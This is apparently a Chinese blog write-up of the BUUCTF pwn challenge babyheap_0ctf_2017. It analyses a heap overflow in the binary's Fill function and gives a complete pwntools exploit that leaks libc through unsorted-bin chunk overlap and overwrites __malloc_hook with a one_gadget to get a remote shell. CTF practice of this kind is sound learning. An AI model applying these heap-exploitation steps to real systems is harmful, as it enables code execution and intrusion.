BUUCTF-PWN-babyheap_0ctf_2017

72次阅读
没有评论

共计 2974 个字符,预计需要花费 8 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 14:52,文中所关联的信息可能已发生改变,请知悉!

第一次遇到堆题,堆的知识从头开始学起,花了很久,终于把每一步都搞懂了

checksec

BUUCTF-PWN-babyheap_0ctf_2017

IDA

为了方便审阅代码,修改了部分函数名和变量名

BUUCTF-PWN-babyheap_0ctf_2017

main 函数看,这是一种很经典的类似于“笔记管理系统”的堆题

BUUCTF-PWN-babyheap_0ctf_2017

Init函数用 mmap 进行了虚拟内存映射,并返回基址

BUUCTF-PWN-babyheap_0ctf_2017

get_num函数调用了 get_string 函数,作用是获得一个数字

switch 下是四个函数和一个return 0,下面一个一个分析:

BUUCTF-PWN-babyheap_0ctf_2017

Allocate函数使用数组的方法指向结构体来存储每个 chunck 的信息,结构体内的信息包括了chunck_in_usechunck_lenchunck_addr

BUUCTF-PWN-babyheap_0ctf_2017

Fill函数承担写入 chunck 的作用,而最大的漏洞就出在这里,因为 Fill 函数的写入长度是由用户自行决定的,且没有检查 chunck 的大小,所以会造成溢出

BUUCTF-PWN-babyheap_0ctf_2017

Free函数用于释放 chunck

BUUCTF-PWN-babyheap_0ctf_2017

Dump函数用于打印 chunck 中的内容

思路

leak libc(unsoredbin attack)

BUUCTF-PWN-babyheap_0ctf_2017

BUUCTF-PWN-babyheap_0ctf_2017

getshell(fastbin attack)

BUUCTF-PWN-babyheap_0ctf_2017

EXP

from pwn import *

def Allocate(io, size):
    io.sendlineafter('Command: ', '1')
    io.sendlineafter('Size: ', str(size))

def Fill(io, index, content):
    io.sendlineafter('Command: ', '2')
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ', content)

def Free(io, index):
    io.sendlineafter('Command: ', '3')
    io.sendlineafter('Index: ', str(index))

def Dump(io, index):
    io.sendlineafter('Command: ', '4')
    io.sendlineafter('Index: ', str(index))
    io.recvuntil('Content: \n')

if __name__ == '__main__':
    context.log_level = 'debug'

    #p = process('./babyheap')
    p = remote('node4.buuoj.cn', 28416)
    libc = ELF('./../libc/ubuntu16/64/libc-2.23.so')

    ###############################
    # unsortedbin attack 获取 libc #
    ###############################

    Allocate(p, 0x80) #0
    Allocate(p, 0x80) #1
    Allocate(p, 0x80) #2
    Allocate(p, 0x80) #3

    # Free(1)使 chunck1 进入 unsortedbin
    Free(p, 1)

    # 0x80 覆盖完 chunck0
    # 0x8 覆盖 chunck1 的 prev_size
    # p64(0x120 + 1)改写 size,表示 chunck1 的可使用大小为 0x120,且上一 chunck 为 in_use
    Fill(p, 0, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 0x80 + 0x10 + 1))

    # 申请 0x80 + 0x10 + x80
    # 刚好包括了 chunck2
    Allocate(p, 0x80 + 0x10 + 0x80)

    # 为 chunck2 改写 size
    #(有一部分大小为 0x10 甚至溢出了原来的 chunck2,但没关系,chunck3 不会被用到,从而起到保护作用)Fill(p, 1, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 1))

    # 通过释放内存,获得 fd 和 bk 指针
    Free(p, 2)

    # 打印,即可获得 fd 和 bk 的指针信息
    # fd 指针会指向 main_arena + 0x58
    Dump(p, 1)

    p.recv(0x90 + 8)
    fd_addr = u64(p.recv(8))
    print('fd_addr: ', hex(fd_addr))
    main_arena_addr = fd_addr - 0x58
    print('main_arean_addr: ', hex(main_arena_addr))

    # malloc_hook 的地址与 main_arena 相差 0x10
    malloc_hook_addr = main_arena_addr - 0x10
    print('malloc_hook_addr: ', hex(malloc_hook_addr))

    libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
    print('libc_base: ', hex(libc_base))

    ##################
    # fastbin attack #
    ##################

    Allocate(p, 0x80) #申请回 chunck2
    Allocate(p, 0x60) #4
    Allocate(p, 0x60) #5

    # chunck5 进入 fastbin
    Free(p, 5)

    # 0x60 填满 chunck4 的可使用空间
    # 0x8 覆盖 chunck5 的 prev_size
    # p64(0x70 + 1)改写 chunck5 的 size
    # p64(malloc_hook_addr - 0x23)改写 fd 指针,使其指向 malloc_hook 附近,堆管理器会认为这是下一个可已被分配的堆
    # 且 malloc_hook_addr - 0x23 处,size 的位置为 7f(属于 fastbin 的大小)# p64(0)改写 bk 指针
    Fill(p, 4, b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0))

    Allocate(p, 0x60) #5
    Allocate(p, 0x60) #6

    # one_gadget
    execve_bin_sh_addr = libc_base + 0x4526a

    # 0x13 覆盖 malloc_hook 之前的一段数据
    # p64(execve_bin_sh_addr)改写 malloc_hook,让其指向 execve_bin_sh
    Fill(p, 6, b'a' * 0x13 + p64(execve_bin_sh_addr))

    # 让系统使用到 malloc 函数,从而调用到 malloc_hook,得到 shell
    Allocate(p, 0x10)

    p.interactive()

结果

BUUCTF-PWN-babyheap_0ctf_2017

BUUCTF-PWN-babyheap_0ctf_2017

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-02-06发表,共计2974字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)